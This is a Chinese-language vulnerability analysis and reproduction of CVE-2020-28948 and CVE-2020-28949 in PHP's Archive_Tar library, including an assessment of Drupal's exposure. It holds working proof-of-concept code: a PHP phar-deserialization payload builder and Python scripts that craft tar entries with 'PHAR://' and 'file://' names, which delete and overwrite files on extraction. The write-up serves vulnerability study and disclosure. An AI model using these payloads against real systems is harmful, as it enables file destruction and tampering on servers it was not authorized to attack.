漏洞描述 CVE-2020-28948 Archive_Tar through 1.4.10 allows an unserialization attack because phar: is blocked but PHAR: is not blocked.
CVE-2020-28949 Archive_Tar through 1.4.10 has :// filename sanitization only to address phar attacks, and thus any other stream-wrapper attack (such as file:// to overwrite files) can still succeed.
漏洞分析&复现 漏洞代码 以下代码没有对PHAR和其他php伪协议进行过滤,导致了漏洞存在。
1 2 3 4 5 6 7 8 9 10 private function _maliciousFilename ($file ) { if (strpos ($file , 'phar://' ) === 0 ) { return true ; } if (strpos ($file , '../' ) !== false || strpos ($file , '..\\' ) !== false ) { return true ; } return false ; }
drupal 看到了drupla的更新公告,drupal使用了对应的Archive_Tar
库,对drupla进行了测试。标准安装情况下drupal在/core/modules/config/src/Form/ConfigImportForm.php
中调用了ArchiveTar
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function submitForm (array &$form , FormStateInterface $form_state ) { if ($path = $form_state ->getValue ('import_tarball' )) { $this ->configStorage->deleteAll (); try { $archiver = new ArchiveTar ($path , 'gz' ); $files = []; foreach ($archiver ->listContent () as $file ) { $files [] = $file ['filename' ]; } $archiver ->extractList ($files , $this ->settings->get ('config_sync_directory' ), '' , FALSE , FALSE ); $this ->messenger ()->addStatus ($this ->t ('Your configuration files were successfully uploaded and are ready for import.' )); $form_state ->setRedirect ('config.sync' ); } catch (\Exception $e ) { $this ->messenger ()->addError ($this ->t ('Could not extract the contents of the tar file. The error message is <em>@message</em>' , ['@message' => $e ->getMessage ()])); } $this ->fileSystem->unlink ($path ); } }
但在$archiver->extractList($files, $this->settings->get('config_sync_directory'), '', FALSE, FALSE);
中,$this->settings->get('config_sync_directory')
指定了路径参数,会将恶意phar/file
文件名拼在路径之后,导致漏洞无法利用,只有使用drupal框架,并且路径没有指定的情况下的drupal存在该漏洞。
PHAR反序列化 构造一个phar文件,使用Archive_Tar
类,在类生命周期结束时,会删除$this->_temp_tarname
文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Archive_Tar { public $_temp_tarname ; function __construct ($_temp_tarname ) { $this ->_temp_tarname = $_temp_tarname ; } } $phar = new Phar ('exploit.phar' );$phar ->startBuffering ();$phar ->addFromString ('aaa' , 'aaa' );$phar ->setStub ('<?php __HALT_COMPILER(); ? >' );$phar ->setMetadata (new Archive_Tar ('test' ));$phar ->stopBuffering ();
使用python脚本进行特定文件名打包
1 2 3 4 5 6 import tarfiletar = tarfile.open ('exploit.tar' , 'w' ) tar.add('input_file.txt' , 'PHAR://exploit.phar' ) tar.close()
运行vulnerable.php
1 2 3 4 5 6 <?php require_once ('../Archive/Tar.php' ); $archive = new Archive_Tar ('exploit.tar' ); $archive ->extract ();
在_extractList
函数中会调用file_exists
,而参数是我们可控的文件名,造成phar反序列化。
删除了对应的test
文件
file 直接使用python脚本生成tar
1 2 3 4 5 6 import tarfiletar = tarfile.open ('exploit.tar' , 'w' ) tar.add('input_file.txt' , 'file:///tmp/test' ) tar.close()
在此处创建文件使用file读写覆盖写入文件
写文件
test文件内容发生修改
参考资料 exp: exploit.zip